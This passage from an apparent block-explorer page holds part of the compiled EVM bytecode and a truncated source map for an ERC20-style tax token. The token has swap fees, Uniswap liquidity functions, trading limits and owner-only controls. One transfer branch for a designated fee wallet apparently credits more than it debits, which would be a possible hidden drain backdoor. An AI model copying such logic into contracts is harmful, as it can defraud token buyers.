16105a7565b3480156102ea575f80fd5b506101bf60185481565b3480156102ff575f80fd5b506101bf60175481565b348015610314575f80fd5b506101bf60165481565b348015610329575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610173565b348015610359575f80fd5b5060408051808201909152600481526321ad189960e11b6020820152610166565b348015610385575f80fd5b50600654610336906001600160a01b031681565b3480156103a4575f80fd5b5061019b6103b33660046115dc565b6105e2565b6102816105ee565b3480156103cb575f80fd5b506101bf6103da36600461169a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b34801561040f575f80fd5b5061028161041e366004611644565b61085c565b5f61042f3384846108d8565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104a492909161049e91906109fb565b906109fb565b905090565b5f6104b5848484610a06565b61050684336105018560405180606001604052806028815260200161185b602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610ef0565b6108d8565b5060015b9392505050565b5f546001600160a01b031633146105435760405162461bcd60e51b815260040161053a906116c6565b60405180910390fd5b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146105965760405162461bcd60e51b815260040161053a906116c6565b5f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b815260040161053a906116c6565b60015460168190556017819055601855565b5f61042f338484610a06565b5f546001600160a01b031633146106175760405162461bcd60e51b815260040161053a906116c6565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069091906116e6565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ff91906116e6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610749573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076d91906116e6565b600580546001600160a01b038086166001600160a01b0319928316811790935560068054918516919092161790559091506107ab9030905f196108d8565b6005546001600160a01b031663f305d71934306107dc816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b815260040161080196959493929190611701565b60606040518083038185885af115801561081d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610842919061173c565b50506006805460ff60a01b1916600160a01b179055505050565b5f546001600160a01b031633146108855760405162461bcd60e51b815260040161053a906116c6565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661093a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053a565b6001600160a01b03821661099b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61050a828461177b565b6001600160a01b038316610a6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053a565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053a565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b0c57506001600160a01b0382165f9081526004602052604090205460ff16155b15610b5b57600654600160a01b900460ff16610b5b5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d15b98589b195960921b604482015260640161053a565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b9b57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610bb557506006546001600160a01b03838116911614155b8015610bcc57506001600160a01b03821661dead14155b15610c44576018546001600160a01b0383165f90815260026020526040902054610bf69083610f1b565b1115610c445760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161053a565b6006546001600160a01b03848116911614610ce35760175481111580610c8157506001600160a01b0383165f9081526004602052604090205460ff165b80610ca357506001600160a01b0382165f9081526004602052604090205460ff165b610ce35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161053a565b60165481111580610d0b57506001600160a01b0383165f9081526004602052604090205460ff165b80610d2d57506001600160a01b0382165f9081526004602052604090205460ff165b610d6d5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161053a565b6006546001600160a01b038381169116148015610da257506001600160a01b0383165f9081526004602052604090205460ff16155b15610dbf57600160075f828254610db9919061178e565b90915550505b610dca838383610f26565b15610ddf57610dda600a54610fde565b5f6007555b600c819055610dee838361115a565b15610e0957601054610e0190829061118b565b600160145590505b6001600160a01b0383165f90815260026020526040902054610e2b90826109fb565b6001600160a01b0384165f90815260026020526040812091909155600c549150610e558484611196565b610e5f5781610e6a565b610e6a8484846111da565b6001600160a01b0384165f90815260026020526040902054909150610e8f9082610f1b565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee29085815260200190565b60405180910390a350505050565b5f8184841115610f135760405162461bcd60e51b815260040161053a919061157a565b505050900390565b5f61050a828461178e565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff16158015610f605750600654600160a81b900460ff165b8015610f755750600654600160a01b900460ff165b8015610f7e5750815b8015610fa257506001600160a01b0386165f9081526004602052604090205460ff16155b8015610fbb57506006546001600160a01b038681169116145b8015610fcb575060095460075410155b8015610fd45750805b9695505050505050565b6008805460ff19166001908117909155600f54600e54600d545f9361101d93600293611017939192611011928391610f1b565b90610f1b565b9061118b565b90505f61103f82611039600d548661118b90919063ffffffff16565b90611336565b90505f61104c84836109fb565b90504761105882611341565b5f61106347836109fb565b90505f61108561107e600d54886109fb90919063ffffffff16565b8390611336565b90505f61109d600d548361118b90919063ffffffff16565b905080156110af576110af8682611491565b600e545f906110c39061101785600261118b565b9050801561110457601a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611102573d5f803e3d5ffd5b505b478015611144576019546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611142573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b601a545f906001600160a01b03848116911614801561050a5750506006546001600160a01b03908116911614919050565b5f61050a82846117a1565b6001600160a01b0382165f9081526004602052604081205460ff1615801561050a5750506001600160a01b03165f9081526004602052604090205460ff1615919050565b6006545f906001600160a01b03848116911614801561121157506001600160a01b0384165f9081526004602052604090205460ff16155b15611236576014545f906112269060016109fb565b90506112328382611336565b9250505b5f6112418585611530565b111561132f575f61126260155461103961125b8888611530565b869061118b565b305f9081526002602052604090205490915061127e9082610f1b565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112ce9085815260200190565b60405180910390a35f6010541180156112f157506010546112ef8686611530565b115b1561131d5761131d3061dead6113186010546110176015548961133690919063ffffffff16565b610a06565b61132783826109fb565b91505061050a565b5092915050565b5f61050a82846117b8565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611374576113746117d7565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ef91906116e6565b81600181518110611402576114026117d7565b6001600160a01b03928316602091820292909201015260055461142891309116846108d8565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114609085905f908690309042906004016117eb565b5f604051808303815f87803b158015611477575f80fd5b505af1158015611489573d5f803e3d5ffd5b505050505050565b6005546114a99030906001600160a01b0316846108d8565b60055460195460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926114e892309289925f92839216904290600401611701565b60606040518083038185885af1158015611504573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611529919061173c565b5050505050565b6006545f906001600160a01b03908116908316036115515750601254610433565b6006546001600160a01b03908116908416036115705750601154610433565b5060135492915050565b5f6020808352835180828501525f5b818110156115a557858101830151858201604001528201611589565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115d9575f80fd5b50565b5f80604083850312156115ed575f80fd5b82356115f8816115c5565b946020939093013593505050565b5f805f60608486031215611618575f80fd5b8335611623816115c5565b92506020840135611633816115c5565b929592945050506040919091013590565b5f60208284031215611654575f80fd5b813561050a816115c5565b5f8060408385031215611670575f80fd5b823561167b816115c5565b91506020830135801515811461168f575f80fd5b809150509250929050565b5f80604083850312156116ab575f80fd5b82356116b6816115c5565b9150602083013561168f816115c5565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f602082840312156116f6575f80fd5b815161050a816115c5565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f6060848603121561174e575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043357610433611767565b8082018082111561043357610433611767565b808202811582820484141761043357610433611767565b5f826117d257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118395784516001600160a01b031683529383019391830191600101611814565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095d4ccdba2328541524a3c26cc8924e0fc5e5a1bd1436cf50fb0d2e100f538ad64736f6c63430008140033

Deployed Bytecode Sourcemap

4858:9648:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6963:67;;;;;;;;;;-1:-1:-1;7023:5:0;;;;;;;;;;;;-1:-1:-1;;;7023:5:0;;;;6963:67;;;;;;;:::i;:::-;;;;;;;;7771:133;;;;;;;;;;-1:-1:-1;7771:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7771:133:0;1023:187:1;7910:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;7910:132:0;1215:177:1;12389:309:0;;;;;;;;;;-1:-1:-1;12389:309:0;;;;;:::i;:::-;;:::i;3687:87::-;;;;;;;;;;-1:-1:-1;3687:87:0;;;;;:::i;:::-;3742:4;3767:5;-1:-1:-1;;;;;3756:16:0;;;3767:5;;3756:16;;3687:87;7113:67;;;;;;;;;;-1:-1:-1;7113:67:0;;5084:1;2252:36:1;;2240:2;2225:18;7113:67:0;2110:184:1;5288:44:0;;;;;;;;;;-1:-1:-1;5288:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7657:108;;;;;;;;;;-1:-1:-1;7657:108:0;;;;;:::i;:::-;;:::i;:::-;;7270:103;;;;;;;;;;-1:-1:-1;7270:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7353:18:0;7336:7;7353:18;;;:9;:18;;;;;;;7270:103;3897:77;;;;;;;;;;;;;:::i;13049:168::-;;;;;;;;;;;;;:::i;6355:59::-;;;;;;;;;;;;;;;;6290:58;;;;;;;;;;;;;;;;6227:56;;;;;;;;;;;;;;;;7186:78;;;;;;;;;;-1:-1:-1;7238:7:0;7256:5;-1:-1:-1;;;;;7256:5:0;7186:78;;;-1:-1:-1;;;;;2884:32:1;;;2866:51;;2854:2;2839:18;7186:78:0;2720:203:1;7036:71:0;;;;;;;;;;-1:-1:-1;7098:7:0;;;;;;;;;;;;-1:-1:-1;;;7098:7:0;;;;7036:71;;5364:19;;;;;;;;;;-1:-1:-1;5364:19:0;;;;-1:-1:-1;;;;;5364:19:0;;;7379:139;;;;;;;;;;-1:-1:-1;7379:139:0;;;;;:::i;:::-;;:::i;13225:494::-;;;:::i;7524:127::-;;;;;;;;;;-1:-1:-1;7524:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7622:18:0;;;7605:7;7622:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7524:127;3780:111;;;;;;;;;;-1:-1:-1;3780:111:0;;;;;:::i;:::-;;:::i;7771:133::-;7846:4;7853:37;7862:10;7874:7;7883:6;7853:8;:37::i;:::-;-1:-1:-1;7898:4:0;7771:133;;;;;:::o;7910:132::-;7353:9;:18;;;;6172:42;7963:7;7353:18;;;;;7980:12;;7963:7;;7980:60;;7353:18;;7980:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;7973:67;;7910:132;:::o;12389:309::-;12487:4;12504:36;12514:6;12522:9;12533:6;12504:9;:36::i;:::-;12551:117;12560:6;12568:10;12580:87;12616:6;12580:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12580:19:0;;;;;;:11;:19;;;;;;;;12600:10;12580:31;;;;;;;;;:87;:35;:87::i;:::-;12551:8;:117::i;:::-;-1:-1:-1;12686:4:0;12389:309;;;;;;:::o;7657:108::-;3742:4;3767:5;-1:-1:-1;;;;;3767:5:0;3654:10;3756:16;3638:38;;;;-1:-1:-1;;;3638:38:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7731:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7731:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7657:108::o;3897:77::-;3742:4;3767:5;-1:-1:-1;;;;;3767:5:0;3654:10;3756:16;3638:38;;;;-1:-1:-1;;;3638:38:0;;;;;;;:::i;:::-;3969:1:::1;3953:18:::0;;-1:-1:-1;;;;;;3953:18:0::1;::::0;;3897:77::o;13049:168::-;3742:4;3767:5;-1:-1:-1;;;;;3767:5:0;3654:10;3756:16;3638:38;;;;-1:-1:-1;;;3638:38:0;;;;;;;:::i;:::-;13116:12:::1;::::0;13101::::1;:27:::0;;;13139:14:::1;:29:::0;;;13179:15:::1;:30:::0;13049:168::o;7379:139::-;7457:4;7464:40;7474:10;7486:9;7497:6;7464:9;:40::i;13225:494::-;3742:4;3767:5;-1:-1:-1;;;;;3767:5:0;3654:10;3756:16;3638:38;;;;-1:-1:-1;;;3638:38:0;;;;;;;:::i;:::-;13284:15:::1;13310:42;13284:69;;13364:13;13389:7;-1:-1:-1::0;;;;;13389:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13380:38:0::1;;13427:4;13434:7;-1:-1:-1::0;;;;;13434:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13380:69;::::0;-1:-1:-1;;;;;;13380:69:0::1;::::0;;;;;;-1:-1:-1;;;;;4401:15:1;;;13380:69:0::1;::::0;::::1;4383:34:1::0;4453:15;;4433:18;;;4426:43;4318:18;;13380:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13460:6;:16:::0;;-1:-1:-1;;;;;13460:16:0;;::::1;-1:-1:-1::0;;;;;;13460:16:0;;::::1;::::0;::::1;::::0;;;13478:4:::1;:12:::0;;;;::::1;::::0;;;::::1;;::::0;;13364:85;;-1:-1:-1;13501:53:0::1;::::0;13518:4:::1;::::0;-1:-1:-1;;13501:8:0::1;:53::i;:::-;13566:6;::::0;-1:-1:-1;;;;;13566:6:0::1;:22;13596:9;13615:4;13621:24;13615:4:::0;-1:-1:-1;;;;;7353:18:0;7336:7;7353:18;;;:9;:18;;;;;;;7270:103;13621:24:::1;13646:1;13648::::0;13650:10:::1;13661:15;13566:111;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13690:14:0::1;:21:::0;;-1:-1:-1;;;;13690:21:0::1;-1:-1:-1::0;;;13690:21:0::1;::::0;;-1:-1:-1;;;13225:494:0:o;3780:111::-;3742:4;3767:5;-1:-1:-1;;;;;3767:5:0;3654:10;3756:16;3638:38;;;;-1:-1:-1;;;3638:38:0;;;;;;;:::i;:::-;3846:5:::1;:11:::0;;-1:-1:-1;;;;;;3846:11:0::1;-1:-1:-1::0;;;;;3846:11:0;::::1;::::0;;::::1;::::0;;;3864:25:::1;::::0;2866:51:1;;;3864:25:0::1;::::0;2854:2:1;2839:18;3864:25:0::1;;;;;;;3780:111:::0;:::o;12706:335::-;-1:-1:-1;;;;;12799:19:0;;12791:68;;;;-1:-1:-1;;;12791:68:0;;5821:2:1;12791:68:0;;;5803:21:1;5860:2;5840:18;;;5833:30;5899:34;5879:18;;;5872:62;-1:-1:-1;;;5950:18:1;;;5943:34;5994:19;;12791:68:0;5619:400:1;12791:68:0;-1:-1:-1;;;;;12878:21:0;;12870:68;;;;-1:-1:-1;;;12870:68:0;;6226:2:1;12870:68:0;;;6208:21:1;6265:2;6245:18;;;6238:30;6304:34;6284:18;;;6277:62;-1:-1:-1;;;6355:18:1;;;6348:32;6397:19;;12870:68:0;6024:398:1;12870:68:0;-1:-1:-1;;;;;12949:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13001:32;;1361:25:1;;;13001:32:0;;1334:18:1;13001:32:0;;;;;;;12706:335;;;:::o;2338:98::-;2396:7;2423:5;2427:1;2423;:5;:::i;10909:1472::-;-1:-1:-1;;;;;11006:20:0;;10998:70;;;;-1:-1:-1;;;10998:70:0;;6894:2:1;10998:70:0;;;6876:21:1;6933:2;6913:18;;;6906:30;6972:34;6952:18;;;6945:62;-1:-1:-1;;;7023:18:1;;;7016:35;7068:19;;10998:70:0;6692:401:1;10998:70:0;-1:-1:-1;;;;;11087:23:0;;11079:71;;;;-1:-1:-1;;;11079:71:0;;7300:2:1;11079:71:0;;;7282:21:1;7339:2;7319:18;;;7312:30;7378:34;7358:18;;;7351:62;-1:-1:-1;;;7429:18:1;;;7422:33;7472:19;;11079:71:0;7098:399:1;11079:71:0;-1:-1:-1;;;;;11165:19:0;;;;;;:11;:19;;;;;;;;11164:20;:47;;;;-1:-1:-1;;;;;;11189:22:0;;;;;;:11;:22;;;;;;;;11188:23;11164:47;11161:95;;;11221:14;;-1:-1:-1;;;11221:14:0;;;;11213:41;;;;-1:-1:-1;;;11213:41:0;;7704:2:1;11213:41:0;;;7686:21:1;7743:2;7723:18;;;7716:30;-1:-1:-1;;;7762:18:1;;;7755:44;7816:18;;11213:41:0;7502:338:1;11213:41:0;-1:-1:-1;;;;;11270:19:0;;;;;;:11;:19;;;;;;;;11269:20;:47;;;;-1:-1:-1;;;;;;11294:22:0;;;;;;:11;:22;;;;;;;;11293:23;11269:47;:77;;;;-1:-1:-1;11341:4:0;;-1:-1:-1;;;;;11320:26:0;;;11341:4;;11320:26;;11269:77;:107;;;;-1:-1:-1;;;;;;11350:26:0;;6172:42;11350:26;;11269:107;11266:224;;;11438:15;;-1:-1:-1;;;;;11401:20:0;;;;;;:9;:20;;;;;;:32;;11426:6;11401:24;:32::i;:::-;11400:53;;11392:96;;;;-1:-1:-1;;;11392:96:0;;8047:2:1;11392:96:0;;;8029:21:1;8086:2;8066:18;;;8059:30;8125:32;8105:18;;;8098:60;8175:18;;11392:96:0;7845:354:1;11392:96:0;11513:4;;-1:-1:-1;;;;;11503:14:0;;;11513:4;;11503:14;11500:124;;11537:14;;11527:6;:24;;:47;;;-1:-1:-1;;;;;;11555:19:0;;;;;;:11;:19;;;;;;;;11527:47;:73;;;-1:-1:-1;;;;;;11578:22:0;;;;;;:11;:22;;;;;;;;11527:73;11519:103;;;;-1:-1:-1;;;11519:103:0;;8406:2:1;11519:103:0;;;8388:21:1;8445:2;8425:18;;;8418:30;-1:-1:-1;;;8464:18:1;;;8457:47;8521:18;;11519:103:0;8204:341:1;11519:103:0;11652:12;;11642:6;:22;;:45;;;-1:-1:-1;;;;;;11668:19:0;;;;;;:11;:19;;;;;;;;11642:45;:71;;;-1:-1:-1;;;;;;11691:22:0;;;;;;:11;:22;;;;;;;;11642:71;11634:101;;;;-1:-1:-1;;;11634:101:0;;8406:2:1;11634:101:0;;;8388:21:1;8445:2;8425:18;;;8418:30;-1:-1:-1;;;8464:18:1;;;8457:47;8521:18;;11634:101:0;8204:341:1;11634:101:0;11763:4;;-1:-1:-1;;;;;11750:17:0;;;11763:4;;11750:17;:41;;;;-1:-1:-1;;;;;;11772:19:0;;;;;;:11;:19;;;;;;;;11771:20;11750:41;11747:71;;;11814:1;11793:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11747:71:0;11832:45;11851:6;11859:9;11870:6;11832:18;:45::i;:::-;11829:105;;;11879:29;11894:13;;11879:14;:29::i;:::-;11930:1;11910:9;:22;11829:105;11944:7;:16;;;11964:36;11982:6;11990:9;11964:17;:36::i;:::-;11961:88;;;12023:7;;12012:19;;:6;;:10;:19::i;:::-;12045:1;12033:9;:13;12003:28;-1:-1:-1;11961:88:0;-1:-1:-1;;;;;12079:17:0;;;;;;:9;:17;;;;;;:29;;12101:6;12079:21;:29::i;:::-;-1:-1:-1;;;;;12059:17:0;;;;;;:9;:17;;;;;:49;;;;12119:7;;;-1:-1:-1;12162:32:0;12069:6;12184:9;12162:13;:32::i;:::-;:78;;12234:6;12162:78;;;12197:34;12205:6;12213:9;12224:6;12197:7;:34::i;:::-;-1:-1:-1;;;;;12274:20:0;;;;;;:9;:20;;;;;;12137:103;;-1:-1:-1;12274:40:0;;12137:103;12274:24;:40::i;:::-;-1:-1:-1;;;;;12251:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12330:43;;;;;;;;;;12358:14;1361:25:1;;1349:2;1334:18;;1215:177;12330:43:0;;;;;;;;10987:1394;10909:1472;;;:::o;2762:240::-;2882:7;2943:12;2935:6;;;;2927:29;;;;-1:-1:-1;;;2927:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2978:5:0;;;2762:240::o;2232:98::-;2290:7;2317:5;2321:1;2317;:5;:::i;8050:403::-;8195:14;;8270:13;;8260:4;8152;7353:18;;;:9;:18;;;;;;8302:8;;8152:4;;8185:24;;;;-1:-1:-1;8242:41:0;;8302:8;;8301:9;:24;;;;-1:-1:-1;8314:11:0;;-1:-1:-1;;;8314:11:0;;;;8301:24;:42;;;;-1:-1:-1;8329:14:0;;-1:-1:-1;;;8329:14:0;;;;8301:42;:54;;;;;8347:8;8301:54;:78;;;;-1:-1:-1;;;;;;8360:19:0;;;;;;:11;:19;;;;;;;;8359:20;8301:78;:99;;;;-1:-1:-1;8396:4:0;;-1:-1:-1;;;;;8383:17:0;;;8396:4;;8383:17;8301:99;:126;;;;;8417:10;;8404:9;;:23;;8301:126;:144;;;;;8431:14;8301:144;8294:151;8050:403;-1:-1:-1;;;;;;8050:403:0:o;8461:1061::-;5723:8;:15;;-1:-1:-1;;5723:15:0;5734:4;5723:15;;;;;;8602:14:::1;::::0;8584:12:::1;::::0;8560::::1;::::0;5723:8;;8559:66:::1;::::0;8623:1:::1;::::0;8560:57:::1;::::0;8602:14;;8560:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;8559:63:::0;::::1;:66::i;:::-;8536:89;;8636:32;8671:46;8704:12;8671:28;8686:12;;8671:10;:14;;:28;;;;:::i;:::-;:32:::0;::::1;:46::i;:::-;8636:81:::0;-1:-1:-1;8728:14:0::1;8745:40;:10:::0;8636:81;8745:14:::1;:40::i;:::-;8728:57:::0;-1:-1:-1;8821:21:0::1;8853:24;8728:57:::0;8853:16:::1;:24::i;:::-;8888:20;8911:41;:21;8937:14:::0;8911:25:::1;:41::i;:::-;8888:64;;8963:19;8984:48;9001:30;9018:12;;9001;:16;;:30;;;;:::i;:::-;8984:12:::0;;:16:::1;:48::i;:::-;8963:69;;9043:29;9075;9091:12;;9075:11;:15;;:29;;;;:::i;:::-;9043:61:::0;-1:-1:-1;9118:34:0;;9115:103:::1;;9154:61;9167:24;9193:21;9154:12;:61::i;:::-;9274:12;::::0;9228:20:::1;::::0;9251:36:::1;::::0;:18:::1;:11:::0;9267:1:::1;9251:15;:18::i;:36::-;9228:59:::0;-1:-1:-1;9301:16:0;;9298:70:::1;;9327:15;::::0;9319:47:::1;::::0;-1:-1:-1;;;;;9327:15:0;;::::1;::::0;9319:47;::::1;;;::::0;9353:12;;9327:15:::1;9319:47:::0;9327:15;9319:47;9353:12;9327:15;9319:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9298:70;9404:21;9439:28:::0;;9436:79:::1;;9477:9;::::0;9469:44:::1;::::0;-1:-1:-1;;;;;9477:9:0;;::::1;::::0;9469:44;::::1;;;::::0;9497:15;;9477:9:::1;9469:44:::0;9477:9;9469:44;9497:15;9477:9;9469:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9436:79;-1:-1:-1::0;;5743:8:0;:16;;-1:-1:-1;;5743:16:0;;;-1:-1:-1;;;;;;;;8461:1061:0:o;9530:163::-;9649:15;;9615:4;;-1:-1:-1;;;;;9639:25:0;;;9649:15;;9639:25;:46;;;;-1:-1:-1;;9681:4:0;;-1:-1:-1;;;;;9681:4:0;;;9668:17;;;;9530:163;-1:-1:-1;9530:163:0:o;2444:98::-;2502:7;2529:5;2533:1;2529;:5;:::i;9701:160::-;-1:-1:-1;;;;;9807:19:0;;9782:4;9807:19;;;:11;:19;;;;;;;;9806:20;:47;;;;-1:-1:-1;;;;;;;9831:22:0;;;;;:11;:22;;;;;;;;9830:23;;9701:160;-1:-1:-1;9701:160:0:o;10096:805::-;10218:4;;10182:7;;-1:-1:-1;;;;;10205:17:0;;;10218:4;;10205:17;:41;;;;-1:-1:-1;;;;;;10227:19:0;;;;;;:11;:19;;;;;;;;10226:20;10205:41;10202:131;;;10278:9;;10263:12;;10278:16;;10292:1;10278:13;:16::i;:::-;10263:31;-1:-1:-1;10305:16:0;:6;10263:31;10305:10;:16::i;:::-;10296:25;;10247:86;10202:131;10381:1;10348:30;10360:6;10368:9;10348:11;:30::i;:::-;:34;10345:524;;;10398:17;10418:59;10465:11;;10418:42;10429:30;10441:6;10449:9;10429:11;:30::i;:::-;10418:6;;:10;:42::i;:59::-;10537:4;10519:24;;;;:9;:24;;;;;;10398:79;;-1:-1:-1;10519:39:0;;10398:79;10519:28;:39::i;:::-;10510:4;10492:24;;;;:9;:24;;;;;;;:66;;;;10578:42;;-1:-1:-1;;;;;10578:42:0;;;;;;;10610:9;1361:25:1;;1349:2;1334:18;;1215:177;10578:42:0;;;;;;;;10656:1;10638:7;;:20;:64;;;;;10695:7;;10662:30;10674:6;10682:9;10662:11;:30::i;:::-;:40;10638:64;10635:180;;;10722:77;10740:4;6172:42;10762:36;10790:7;;10762:23;10773:11;;10762:6;:10;;:23;;;;:::i;:36::-;10722:9;:77::i;:::-;10836:21;:6;10847:9;10836:10;:21::i;:::-;10829:28;;;;;10345:524;-1:-1:-1;10887:6:0;10096:805;-1:-1:-1;;10096:805:0:o;2550:98::-;2608:7;2635:5;2639:1;2635;:5;:::i;14069:434::-;14159:16;;;14173:1;14159:16;;;;;;;;14135:21;;14159:16;;;;;;;;;;-1:-1:-1;14159:16:0;14135:40;;14204:4;14186;14191:1;14186:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14186:23:0;;;:7;;;;;;;;;;:23;;;;14230:6;;:13;;;-1:-1:-1;;;14230:13:0;;;;:6;;;;;:11;;:13;;;;;14186:7;;14230:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14220:4;14225:1;14220:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14220:23:0;;;:7;;;;;;;;;:23;14286:6;;14254:53;;14271:4;;14286:6;14295:11;14254:8;:53::i;:::-;14318:6;;:177;;-1:-1:-1;;;14318:177:0;;-1:-1:-1;;;;;14318:6:0;;;;:57;;:177;;14390:11;;14318:6;;14432:4;;14459;;14479:15;;14318:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14124:379;14069:434;:::o;13727:334::-;13840:6;;13808:53;;13825:4;;-1:-1:-1;;;;;13840:6:0;13849:11;13808:8;:53::i;:::-;13872:6;;14013:9;;13872:181;;-1:-1:-1;;;13872:181:0;;-1:-1:-1;;;;;13872:6:0;;;;:22;;13902:9;;13872:181;;13935:4;;13955:11;;13872:6;;;;14013:9;;14037:15;;13872:181;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13727:334;;:::o;9869:219::-;9984:4;;9948:7;;-1:-1:-1;;;;;9984:4:0;;;9971:17;;;;9968:38;;-1:-1:-1;9997:7:0;;9990:14;;9968:38;10029:4;;-1:-1:-1;;;;;10029:4:0;;;10019:14;;;;10016:36;;-1:-1:-1;10042:8:0;;10035:15;;10016:36;-1:-1:-1;10069:11:0;;9869:219;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232: